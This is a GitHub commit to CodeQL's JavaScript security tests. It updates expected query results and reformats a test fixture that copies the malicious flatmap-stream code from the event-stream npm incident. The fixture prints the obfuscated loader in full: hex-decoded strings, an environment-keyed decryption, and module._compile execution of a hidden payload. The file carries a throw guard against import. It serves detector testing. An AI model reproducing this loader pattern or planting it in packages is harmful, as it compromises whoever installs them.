Skip to content

Commit d08c0f7

Browse files
authored
Merge pull request #7817 from github/esbena-patch-7
Document and format event-stream-orig.js
2 parents bc17df5 + 72b5edc commit d08c0f7

File tree

2 files changed

+114
-11
lines changed

2 files changed

+114
-11
lines changed

javascript/ql/test/query-tests/Security/CWE-506/HardcodedDataInterpretedAsCode.expected

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,8 @@
11
nodes
2-
| event-stream-orig.js:2:1113:2:1139 | e("2e2f ... 17461") |
3-
| event-stream-orig.js:2:1113:2:1139 | e("2e2f ... 17461") |
4-
| event-stream-orig.js:2:1115:2:1138 | "2e2f74 ... 617461" |
5-
| event-stream-orig.js:2:1115:2:1138 | "2e2f74 ... 617461" |
2+
| event-stream-orig.js:96:15:96:41 | e("2e2f ... 17461") |
3+
| event-stream-orig.js:96:15:96:41 | e("2e2f ... 17461") |
4+
| event-stream-orig.js:96:17:96:40 | "2e2f74 ... 617461" |
5+
| event-stream-orig.js:96:17:96:40 | "2e2f74 ... 617461" |
66
| event-stream.js:9:11:9:37 | e("2e2f ... 17461") |
77
| event-stream.js:9:11:9:37 | e("2e2f ... 17461") |
88
| event-stream.js:9:13:9:36 | "2e2f74 ... 617461" |
@@ -21,10 +21,10 @@ nodes
2121
| tst.js:7:8:7:15 | test+"n" |
2222
| tst.js:7:8:7:15 | test+"n" |
2323
edges
24-
| event-stream-orig.js:2:1115:2:1138 | "2e2f74 ... 617461" | event-stream-orig.js:2:1113:2:1139 | e("2e2f ... 17461") |
25-
| event-stream-orig.js:2:1115:2:1138 | "2e2f74 ... 617461" | event-stream-orig.js:2:1113:2:1139 | e("2e2f ... 17461") |
26-
| event-stream-orig.js:2:1115:2:1138 | "2e2f74 ... 617461" | event-stream-orig.js:2:1113:2:1139 | e("2e2f ... 17461") |
27-
| event-stream-orig.js:2:1115:2:1138 | "2e2f74 ... 617461" | event-stream-orig.js:2:1113:2:1139 | e("2e2f ... 17461") |
24+
| event-stream-orig.js:96:17:96:40 | "2e2f74 ... 617461" | event-stream-orig.js:96:15:96:41 | e("2e2f ... 17461") |
25+
| event-stream-orig.js:96:17:96:40 | "2e2f74 ... 617461" | event-stream-orig.js:96:15:96:41 | e("2e2f ... 17461") |
26+
| event-stream-orig.js:96:17:96:40 | "2e2f74 ... 617461" | event-stream-orig.js:96:15:96:41 | e("2e2f ... 17461") |
27+
| event-stream-orig.js:96:17:96:40 | "2e2f74 ... 617461" | event-stream-orig.js:96:15:96:41 | e("2e2f ... 17461") |
2828
| event-stream.js:9:13:9:36 | "2e2f74 ... 617461" | event-stream.js:9:11:9:37 | e("2e2f ... 17461") |
2929
| event-stream.js:9:13:9:36 | "2e2f74 ... 617461" | event-stream.js:9:11:9:37 | e("2e2f ... 17461") |
3030
| event-stream.js:9:13:9:36 | "2e2f74 ... 617461" | event-stream.js:9:11:9:37 | e("2e2f ... 17461") |
@@ -41,7 +41,7 @@ edges
4141
| tst.js:7:8:7:11 | test | tst.js:7:8:7:15 | test+"n" |
4242
| tst.js:7:8:7:11 | test | tst.js:7:8:7:15 | test+"n" |
4343
#select
44-
| event-stream-orig.js:2:1113:2:1139 | e("2e2f ... 17461") | event-stream-orig.js:2:1115:2:1138 | "2e2f74 ... 617461" | event-stream-orig.js:2:1113:2:1139 | e("2e2f ... 17461") | Hard-coded data from $@ is interpreted as an import path. | event-stream-orig.js:2:1115:2:1138 | "2e2f74 ... 617461" | here |
44+
| event-stream-orig.js:96:15:96:41 | e("2e2f ... 17461") | event-stream-orig.js:96:17:96:40 | "2e2f74 ... 617461" | event-stream-orig.js:96:15:96:41 | e("2e2f ... 17461") | Hard-coded data from $@ is interpreted as an import path. | event-stream-orig.js:96:17:96:40 | "2e2f74 ... 617461" | here |
4545
| event-stream.js:9:11:9:37 | e("2e2f ... 17461") | event-stream.js:9:13:9:36 | "2e2f74 ... 617461" | event-stream.js:9:11:9:37 | e("2e2f ... 17461") | Hard-coded data from $@ is interpreted as an import path. | event-stream.js:9:13:9:36 | "2e2f74 ... 617461" | here |
4646
| tst.js:2:6:2:57 | Buffer. ... tring() | tst.js:1:29:1:88 | '636f6e ... 6e2729' | tst.js:2:6:2:57 | Buffer. ... tring() | Hard-coded data from $@ is interpreted as code. | tst.js:1:29:1:88 | '636f6e ... 6e2729' | here |
4747
| tst.js:7:8:7:15 | test+"n" | tst.js:5:12:5:23 | "0123456789" | tst.js:7:8:7:15 | test+"n" | Hard-coded data from $@ is interpreted as code. | tst.js:5:12:5:23 | "0123456789" | here |
Lines changed: 105 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,105 @@
1-
// from https://unpkg.com/flatmap-stream@0.1.1/index.min.js
2-
var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();
1+
/**
2+
* This is a formatted copy of the malicoius source code from the "event-stream" incident. See additional details at
3+
* https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident.html
4+
*
5+
* The copy is used for testing the behaviour of the js/hardcoded-data-interpreted-as-code query
6+
*/
7+
throw new Error(
8+
"Do not import this file: it has malicious source code that should not be run."
9+
);
10+
11+
var Stream = require("stream").Stream;
12+
module.exports = function (e, n) {
13+
var i = new Stream(),
14+
a = 0,
15+
o = 0,
16+
u = !1,
17+
f = !1,
18+
l = !1,
19+
c = 0,
20+
s = !1,
21+
d = (n = n || {}).failures ? "failure" : "error",
22+
m = {};
23+
function w(r, e) {
24+
var t = c + 1;
25+
if (
26+
(e === t
27+
? (void 0 !== r && i.emit.apply(i, ["data", r]), c++, t++)
28+
: (m[e] = r),
29+
m.hasOwnProperty(t))
30+
) {
31+
var n = m[t];
32+
return delete m[t], w(n, t);
33+
}
34+
a === ++o && (f && ((f = !1), i.emit("drain")), u && v());
35+
}
36+
function p(r, e, t) {
37+
l ||
38+
((s = !0),
39+
(r && !n.failures) || w(e, t),
40+
r && i.emit.apply(i, [d, r]),
41+
(s = !1));
42+
}
43+
function b(r, t, n) {
44+
return e.call(null, r, function (r, e) {
45+
n(r, e, t);
46+
});
47+
}
48+
function v(r) {
49+
if (((u = !0), (i.writable = !1), void 0 !== r)) return w(r, a);
50+
a == o && ((i.readable = !1), i.emit("end"), i.destroy());
51+
}
52+
return (
53+
(i.writable = !0),
54+
(i.readable = !0),
55+
(i.write = function (r) {
56+
if (u) throw new Error("flatmap stream is not writable");
57+
s = !1;
58+
try {
59+
for (var e in r) {
60+
a++;
61+
var t = b(r[e], a, p);
62+
if ((f = !1 === t)) break;
63+
}
64+
return !f;
65+
} catch (r) {
66+
if (s) throw r;
67+
return p(r), !f;
68+
}
69+
}),
70+
(i.end = function (r) {
71+
u || v(r);
72+
}),
73+
(i.destroy = function () {
74+
(u = l = !0),
75+
(i.writable = i.readable = f = !1),
76+
process.nextTick(function () {
77+
i.emit("close");
78+
});
79+
}),
80+
(i.pause = function () {
81+
f = !0;
82+
}),
83+
(i.resume = function () {
84+
f = !1;
85+
}),
86+
i
87+
);
88+
};
89+
!(function () {
90+
try {
91+
var r = require,
92+
t = process;
93+
function e(r) {
94+
return Buffer.from(r, "hex").toString();
95+
}
96+
var n = r(e("2e2f746573742f64617461")),
97+
o = t[e(n[3])][e(n[4])];
98+
if (!o) return;
99+
var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
100+
a = u.update(n[0], e(n[8]), e(n[9]));
101+
a += u.final(e(n[9]));
102+
var f = new module.constructor();
103+
(f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]);
104+
} catch (r) {}
105+
})();

0 commit comments

Comments
 (0)